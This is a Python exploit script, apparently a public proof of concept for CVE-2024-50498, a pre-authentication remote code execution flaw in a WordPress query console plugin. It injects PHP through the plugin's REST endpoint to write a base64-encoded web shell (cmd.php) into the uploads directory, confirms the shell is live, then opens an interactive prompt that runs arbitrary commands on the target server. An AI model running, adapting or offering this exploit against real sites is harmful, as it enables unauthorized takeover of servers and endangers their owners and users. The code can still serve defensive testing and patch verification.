import requests
import argparse
from datetime import datetime
import time

# Configuración de argparse
parser = argparse.ArgumentParser(description="Script to perform a POST request to the WordPress lab and execute a payload.")
parser.add_argument(
    "--target",
    type=str,
    required=True,
    help="The base URL of the WordPress lab (e.g., http://example.com)."
)
args = parser.parse_args()

# Banner ASCII
def banner():
    banner = r"""
   _______    ________    ___   ____ ___  __ __        __________  __ __  ____  ____ 
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /       / ____/ __ \/ // / / __ \( __ )
 / /    | | / / __/________/ // / / /_/ / // /_______/___ \/ / / / // /_/ /_/ / __  |
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/___/ / /_/ /__  __/\__, / /_/ / 
\____/  |___/_____/    /____/\____/____/ /_/       /_____/\____/  /_/  /____/\____/  
                                                                                                                                                       
    0-click RCE (Unauthenticated/Pre-auth) Exploit for CVE-2024-50498
                coded by @JoshuaProvoste (jp / kw0)

"""
    print(banner)
banner()

# Definir la URL del endpoint utilizando el argumento de CLI
url = f"{args.target}/wp-json/wqc/v1/query"

# Cabeceras de la solicitud
headers = {
    "Host": "localhost",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
    "Accept": "*/*",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate, br",
    "Referer": f"{args.target}/wp-admin/admin.php?page=wp-query-console",
    "Content-Type": "application/json",
    "Origin": args.target,  # Modificar Origin para reflejar el valor de --target
    "DNT": "1",
    "Sec-GPC": "1",
    "Connection": "keep-alive",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "Priority": "u=0",
}

# Cuerpo de la solicitud
data = {
    "queryArgs": "file_put_contents('wp-content/uploads/' . date('Y') . '/' . date('m') . '/cmd.php', base64_decode('PD9waHAKaWYgKHBocF9zYXBpX25hbWUoKSAhPT0gJ2NsaScgJiYgIWlzc2V0KCRfR0VUWydjbWQnXSkpIHsKICAgIGVjaG8gJ1N5c3RlbSBPUzogJyAuIHBocF91bmFtZSgncycpOwp9CmlmIChpc3NldCgkX0dFVFsnY21kJ10pKSB7CiAgICBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsKfQo/Pg=='));",
    "queryType": "WP_Query",
}

# Función para imprimir mensajes con formato
def print_message(message, icon):
    print(f"{icon} {message}")
    time.sleep(1.5)

# [+] Starting the exploit
print_message("Starting the exploit...", "[+]")

# [+] Uploading the payload to the target
print_message("Uploading the payload to the target...", "[+]")
requests.post(url, headers=headers, json=data)

# Generar la URL del archivo cargado
current_year = datetime.now().year
current_month = str(datetime.now().month).zfill(2)
cmd_url = f"{args.target}/wp-content/uploads/{current_year}/{current_month}/cmd.php"

# Validar si el archivo fue cargado correctamente
print_message("Validating payload upload...", "[+]")
try:
    cmd_response = requests.get(cmd_url)
    if cmd_response.status_code == 200:
        print_message(f"Payload uploaded successfully: {cmd_url}", "[+]")
    else:
        print_message(f"The payload was not found at the URL: {cmd_url}", "[-]")
        exit()
except requests.RequestException as e:
    print_message(f"Error while trying to access the payload: {e}", "[-]")
    exit()

# [+] Detecting operating system from the target
print_message("Detecting operating system from the target...", "[+]")
try:
    os_response = cmd_response.text.strip().lower()
    if "windows" in os_response:
        print_message("Detected OS: Windows (only Windows commands can be executed).", "[+]")
    elif "linux" in os_response:
        print_message("Detected OS: Linux (only Linux commands can be executed).", "[+]")
    else:
        print_message("Failed to detect operating system. Defaulting to generic commands.", "[-]")
except requests.RequestException as e:
    print_message(f"Failed to detect operating system: {e}", "[-]")
    exit()

# [+] Entering interactive shell mode
print_message("Entering interactive shell mode...\n", "[+]")
print("Type 'exit' or 'Ctrl+C' to leave.\n")

# Shell interactiva
try:
    while True:
        command = input("shell> ")
        if command.lower() == "exit":
            print_message("Exiting interactive shell.", "[+]")
            break

        # Enviar el comando al payload
        try:
            get_response = requests.get(cmd_url, params={"cmd": command})
            if get_response.status_code == 200:
                if get_response.text.strip():
                    print(get_response.text.strip())
                else:
                    print_message("Command executed, but no output was returned.", "[+]")
            else:
                print_message(f"Command execution failed. HTTP Status: {get_response.status_code}", "[-]")
        except requests.RequestException as e:
            print_message(f"Error during command execution: {e}", "[-]")
except KeyboardInterrupt:
    print("\nKeyboard interrupt detected. Exiting interactive shell.")
